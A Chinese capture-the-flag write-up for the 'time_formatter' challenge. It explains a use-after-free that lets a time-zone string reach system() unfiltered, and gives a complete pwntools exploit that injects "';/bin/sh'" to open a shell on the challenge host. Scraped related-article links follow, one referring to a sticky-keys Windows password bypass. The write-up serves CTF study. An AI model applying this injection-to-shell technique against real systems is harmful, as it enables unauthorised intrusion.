攻防世界time_formatter writeup

UAF漏洞和命令注入。

前置知识

1、strdup函数

char * __strdup(const char *s)
{
size_t len = strlen(s) +1;
void *new = malloc(len);
if (new == NULL)
return NULL;
return (char *)memecpy(new,s,len);
}

strdup函数实现如上所示,strup函数拷贝字符串的副本到一块动态申请的内存中。

2、snprintf函数

snprintf函数原型:int snprintf(char *str, int n, char * format [, argument, ...])

str是目的字符串指针,snprintf从format中拷贝n个字符串到str中去,argument是参数。

3、getenv函数和setenv函数

getenv函数用来获取环境变量的值,setenv函数用来改变环境变量的值或者增加环境变量。

getenv函数原型:char * getenv(const char *name)

setenv函数原型:char * setenv(const char *name,const char * value,int overwrite)

name表示环境变量名,value表示环境变量的值,overwrite不为0表示可以修改和添加环境变量的值,overwrite为0表示环境变量已经有值,这时候value会被忽略。

程序分析

主调函数如下所示:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__gid_t v3; // eax
FILE *v4; // rdi
__int64 v5; // rdx
int v6; // eax
__int64 result; // rax v3 = getegid();
setresgid(v3, v3, v3);
setbuf(stdout, 0LL);
puts("Welcome to Mary's Unix Time Formatter!");
while ( 1 )
{
puts("1) Set a time format.");
puts("2) Set a time.");
puts("3) Set a time zone.");
puts("4) Print your time.");
puts("5) Exit.");
__printf_chk(1LL, (__int64)"> ");
v4 = stdout;
fflush(stdout);
switch ( str2int() )
{
case 1:
v6 = set_time_format();
goto LABEL_8;
case 2:
v6 = set_time();
goto LABEL_8;
case 3:
v6 = set_time_zone();
goto LABEL_8;
case 4:
v6 = print_time((__int64)v4, (__int64)"> ", v5);
LABEL_8:
if ( !v6 )
continue;
return 0LL;
case 5:
exit();
return result;
default:
continue;
}
}
}

set_time_format函数如下所示:

__int64 sub_400E00()
{
char *v0; // rbx v0 = add();
if ( (unsigned int)check_time_format(v0) )
{
ptr = v0;
puts("Format set.");
}
else
{
puts("Format contains invalid characters.");
delete(v0);
}
return 0LL;
}
char *add()
{
__int64 v0; // rdx
__int64 v1; // rcx
char s[1024]; // [rsp+8h] [rbp-410h]
unsigned __int64 v4; // [rsp+408h] [rbp-10h] v4 = __readfsqword(0x28u);
__printf_chk(1LL, (__int64)"%s");
fflush(stdout);
fgets(s, 1024, stdin);
s[strcspn(s, "\n")] = 0;
return sub_400C26(s, (__int64)"\n", v0, v1);
}

set_time_zone函数如下所示:

__int64 sub_400E43()
{
value = add();
puts("Time zone set.");
return 0LL;
}

exit_time函数如下所示:

signed __int64 __noreturn exit()
{
signed __int64 result; // rax
char s; // [rsp+8h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-10h] v2 = __readfsqword(0x28u);
delete(ptr);
delete(value);
__printf_chk(1LL, (__int64)"Are you sure you want to exit (y/N)? ");
fflush(stdout);
fgets(&s, 16, stdin);
result = 0LL;
if ( (s & 0xDF) == 89 )
{
puts("OK, exiting.");
result = 1LL;
}
return result;
}

print_time函数如下所示:

__int64 __fastcall print_time(__int64 a1, __int64 a2, __int64 a3)
{
char command; // [rsp+8h] [rbp-810h]
unsigned __int64 v5; // [rsp+808h] [rbp-10h] v5 = __readfsqword(0x28u);
if ( ptr )
{
__snprintf_chk(
(__int64)&command,
2048LL,
1LL,
2048LL,
(__int64)"/bin/date -d @%d +'%s'",
(unsigned int)dword_602120,
(__int64)ptr,
a3);
__printf_chk(1LL, (__int64)"Your formatted time is: ");
fflush(stdout);
if ( getenv("DEBUG") )
__fprintf_chk(stderr, 1LL, (__int64)"Running command: %s\n", (__int64)&command);
setenv("TZ", value, 1); // setenv函数这里添加环境变量
system(&command);
}
else
{
puts("You haven't specified a format!");
}
return 0LL;
}

如果我们可以把构造语句,把command中的命令构造为';/bin/sh'(单引号是为了闭合语句中的单引号),通过system函数就可以getshell。但是如果在set_time_format函数中输入';/bin/sh'会被过滤掉,所以我们这里要利用uaf漏洞,首先通过set_time_format函数申请一块堆块,然后exit_time释放掉,通过set_time_zone重新将释放的堆块分配出来,构造语句来执行。

EXP

from pwn import *
from pwnlib import *
DEBUG=0
if DEBUG:
io=process('./time_formatter')
else:
io=remote('220.249.52.133',49902) elf=ELF('./time_formatter')
puts_got=elf.got['puts']
puts_system=elf.got['system']
fgets_got=elf.got['fgets']
atoi_got=elf.got['atoi']
system_got=elf.got['system'] def launch_gdb():
context.terminal=['gnome-terminal','-x','sh','-c']
gdb.attach(proc.pidof(io)[0]) def set_time_format(content):
io.recvuntil('> ')
io.sendline(str(1))
io.recvuntil('Format: ')
io.sendline(content) def set_time_format_err(content):
io.recvuntil('> ')
io.sendline(str(1))
io.recvuntil('Format: ')
io.sendline(content) def set_time(Unix_time):
io.recvuntil('> ')
io.sendline(str(2))
io.recvuntil('Enter your unix time: ')
io.sendline(str(Unix_time)) def set_time_zone(zone):
io.recvuntil('> ')
io.sendline(str(3))
io.recvuntil('Time zone: ')
io.sendline(zone) def print_time():
io.recvuntil('> ')
io.send(str(4)) def exit_time():
io.recvuntil('>')
io.sendline(str(5))
io.recvuntil('Are you sure you want to exit (y/N)? ')
io.sendline('N') #launch_gdb()
content1='aaaa'
set_time_format(content1)
exit_time()
set_time_zone("';/bin/sh'")
print_time()
io.interactive()

time_formatter writeup的更多相关文章

  1. 2016第七季极客大挑战Writeup

    第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...

  2. ISCC2016 WriteUp

    日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...

  3. 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp

    洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...

  4. 爱春秋之戏说春秋 Writeup

    爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...

  5. 《安全智库》:48H急速夺旗大战通关writeup(通关策略)

    作者:ByStudent   题目名字 题目分值 地址 MallBuilder2 350 mall.anquanbao.com.cn MallBuilder1 200 mall.anquanbao.c ...

  6. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  7. We Chall-Training: Encodings I -Writeup

    MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...

  8. We Chall-Encodings: URL -Writeup

    MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...

  9. We Chall-Training: ASCII—Writeup

    MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...

随机推荐

  1. .NET 云原生架构师训练营(设计原则与模式)--学习笔记

    在复杂系统的架构设计中引入设计原则与模式,能够极大降低复杂系统开发.和维护的成本 目录 几个问题 为什么要学习设计模式 优良架构设计的具体指标 理解复杂系统 面向对象思想(指导复杂系统的分析.设计.实 ...

  2. kubernetes的存活探针和就绪探针

    1.存活探针 使用Kubernetes的一个主要好处是,可以给Kubernetes-个容器列表来由其保持容器在集群中的运行.可以通过让Kubernetes创建pod资源,为其选择一个工作节点并在该节点 ...

  3. Linux文件编辑工具——VIM

    Linux文件编辑工具--VIM 1.VIM基本概述 1.1 什么是vim vi 和 vim 是 Linux 下的一个文本编辑工具.(可以理解为 windows 的记事本,或 Notepad++ 1. ...

  4. AcWing 1293. 夏洛克和他的女朋友

    夏洛克有了一个新女友(这太不像他了!). 情人节到了,他想送给女友一些珠宝当做礼物. 他买了n件珠宝,第i件的价值是i+1. 华生挑战夏洛克,让他给这些珠宝染色,使得一件珠宝的价格是另一件珠宝的价格的 ...

  5. Game游戏分析

    1.鲁棒图分析 2.系统上下文及交互方式 3.用例 4.逻辑拓扑图 5.物理拓扑图 6.时序图 7.状态图 8.物理数据模型 9.类图 10.技术选型 11.框架搭建 12.工具及通用服务 13.架构 ...

  6. sqlite用法总结

    p.p1 { margin: 0; font: 16px "Helvetica Neue"; color: rgba(0, 0, 255, 1) } p.p2 { margin: ...

  7. 『心善渊』Selenium3.0基础 — 26、unittest测试框架的断言

    目录 1.断言介绍 2.常用的断言方法 3.断言示例 1.断言介绍 在执行测试用例的过程中,最终用例是否执行通过,是通过判断测试得到的实际结果和预期结果是否相等决定的,这时会用到断言方法. 本着没有消 ...

  8. spring、springmvc、springboot、springcloud的联系与区别

    spring和springMvc: 1. spring是一个一站式的轻量级的java开发框架,核心是控制反转(IOC)和面向切面(AOP),针对于开发的WEB层(springMvc).业务层(Ioc) ...

  9. 利用漏洞破解win7密码

    一.利用5次shift漏洞破解win7密码 1.在未登录系统时,连续按5次shift键,弹出程序:C:\Windows\system32\sethc.exe 2.部分win7及win10可通过系统修复 ...

  10. chage 修改用户密码时间限制

    chage [options] LOGIN chage针对用户的密码过期时间.过期提前多少天警示等功能实现,passwd也可以实现,但是passwd --expire参数是直接用户密码过期,强制用户下 ...